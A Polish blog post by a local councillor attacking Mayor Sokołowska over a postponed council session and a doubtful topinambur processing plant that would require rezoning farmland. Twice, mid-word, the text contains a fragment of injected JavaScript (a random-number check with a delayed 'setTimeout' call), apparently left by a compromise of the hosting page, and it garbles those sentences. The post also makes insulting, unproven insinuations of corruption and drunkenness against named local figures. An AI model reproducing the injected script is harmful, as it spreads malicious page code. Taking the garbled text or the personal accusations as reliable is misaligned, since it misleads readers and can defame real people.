Jak Kuba Bogu…!

Zostałem dziś w sposób dla mnie niezrozumiały wywołany do tablicy, przez burmistrz Sokołowską, bo tego jak mu tam bida, dzida, piramida nawet nie będę brał sobie do głowy. Szkoda czasu na miernoty intelektualne. Pani burmistrz zaś chcę opowiedzieć historię o inwestorze na czas uchylonego mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu. Strasznie widać potrzebuje burmistrz sukcesu.

Dzisiaj zostałem pokazany w świetle, że niby jestem przeciwko inwestycji, bo o dwa lub trzy tygodnie przesuwam, zaplanowaną na 31 marca sesję. Owszem przesunąłem sesję, bo prosili mnie o to niektórzy Radni, ci co mózg mają w czaszce, nie w gwizdku sportowym. Poprosili mnie o to ze względu na pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemię i to co się dzieje z zachorowaniami. Zanim jednak podjąłem decyzję o przesunięciu sesji zadzwoniłem do pani sekretarz z pytaniem, czy są jakieś niecierpiące zwłoki uchwały, które naraziłyby nasza Gminę? Usłyszałem w odpowiedzi, że jedynie zmiany budżetowe. Zaproponowałem więc, aby w sprawie tych zmian odbyć nadzwyczajną, szybką sesję i przyjąć stosowne uchwały, jeśli to bardzo konieczne. Mamy taki czas jaki mamy, więc reaguję tak jak tego wymagają zalecenia rządzących naszym krajem, aby unikać spotkań.Nie wiem, jak burmistrz rozmawia ze swoją sekretarz, ale chyba albo jedna, albo druga, wydaje mi się mają problem ze zrozumieniem prostego przekazu.

Tydzień temu odbyło się spotkanie na temat inwestycji, bez udziału inwestora. Burmistrz poinformowała nas mniej więcej o co chodzi i poprosiła, aby nic nie wspominać o tej inwestycji. Oczywiście byłem, jestem i będę za każdą inwestycją. Obiecałem wtedy, że nie napiszę na ten temat ani słowa i tego słowa dotrzymałem. Do dzisiejszego wpisu burmistrz Sokołowskiej. Dzisiaj odbyło się spotkanie z inwestorem. Niestety obowiązki zawodowe nie pozwoliły mi na to, aby w nim uczestniczyć. Z tego co Radni Klubu Dobro Wspólne mi przekazali, dzisiejsze spotkanie to był swego rodzaju sience fiction show o inwestycji, która jest może i fajna, ale chyba mało możliwa do zrealizowania. Co najważniejsze wiąże się z kolejnym odrolnieniem ziemi, a co ciekawe to ziemia należąca do jednej z radnych.

Inwestycja ma być przetwórnią topinamburu. To taka roślina ważna w spożyciu zwłaszcza dla cukrzyków, ale generalnie bardzo zdrowa roślina. Sama przetwórnia ma być zlokalizowana w hali zbudowanej na 2 ha, a roślina ma być uprawiana na 2000 ha ziemi. Odrolnienie dotyczy tych 2 ha zlokalizowanych niedaleko Pogorzeli Wielkiej. Informuję burmistrz Sokołowską, że wyrazimy zgodę na podjęcie odpowiedniej uchwały tylko wtedy, kiedy pani inwestor przestanie mówić o marzeniach a pokaże dokumenty i zapewnienia realności tej inwestycji. Tydzień temu na spotkaniu burmistrz Sokołowska powiedziała, że jestem inżynierem i powinienem wiedzieć ile kosztuje budowa hali. Powiem pani, że wtedy nie wiedziałem, ale po tygodniu już wiem. 1000 metrów hali około 1 miliona złotych (bez wyposażenia). A pani wie, że 2 ha, to 20000 metrów? Wie pani ile to pieniędzy potrzeba na budowę? Ile więc ma kosztować hala z wyposażeniem w maszyny do przerobu topinambura, zlokalizowana na 20000 metrów? Ktoś mi chce powiedzieć, że w naszej Gminie mieszkają ludzie, którzy mają ponad 20 milionów złotych i pomyśleli o topinamburze? Czy może jednak chodzi o odrolnienie 2 ha ziemi dla innych zainteresowanych osób?

Oczywiście w pełni podniosę 2 ręce za decyzją o tej inwestycji i sam pomogę pani inwestor w osiągnięciu celu, jak tylko będę mógł. Ale zanim się to stanie chcę wiedzieć, że inwestor ma na to pieniądze, że ma odbiorców na przetworzone rośliny oraz że ma te 2000 ha, potrzebne, aby materiał do przerobu wyprodukować. Rozumiem, że inwestor jest przygotowana na to, żeby takie dokumenty przedstawić na najbliższej sesji. Serdecznie więc na nią zapraszam. Bo jeśli nie to niezależnie, kiedy ona się odbędzie nie zagłosuję za odrolnieniem ziemi. Nikt tu nie będzie nami manipulował i wypisywał historyjek. Zobaczymy dokumenty będziemy podejmować decyzje. W innym przypadku proszę zapomnieć.

Mam podpowiedź dla pani inwestor. Ponoć w naszej Gminie jest gość, który już załatwił miliony na jakichś inwestycjach w dzieła sztuki. Tak załatwił, że wszyscy skaczą z radości. Może pani popyta w urzędzie. Najwyższa władza powinna chyba wiedzieć coś na ten temat. W końcu burmistrz powinna wiedzieć wszystko. Podobno dla tego gościa 20milionów to jak chrząknąć. 2 tysiące hektarów ofiaruje w prezencie. Taki ma gest. Mistrz po prostu. Jednak ostrzegam, że zadawanie się z nim może doprowadzić do tego, że pani stanie się topinamburem i zostanie zapuszkowana. To takie przetwory w sosie z dąbka pospolitego. Podobno konserwuje nie gorzej niż wóda, w której się lubuje. Dąbek twarde drzewo, w(o)ódy potrzebuje. Więc niech pani szuka pomocy niczym egipska Kleopatra. Może i dla pani znajdzie się PIRAMIDA. Chyba tylko Andrzej może pomóc.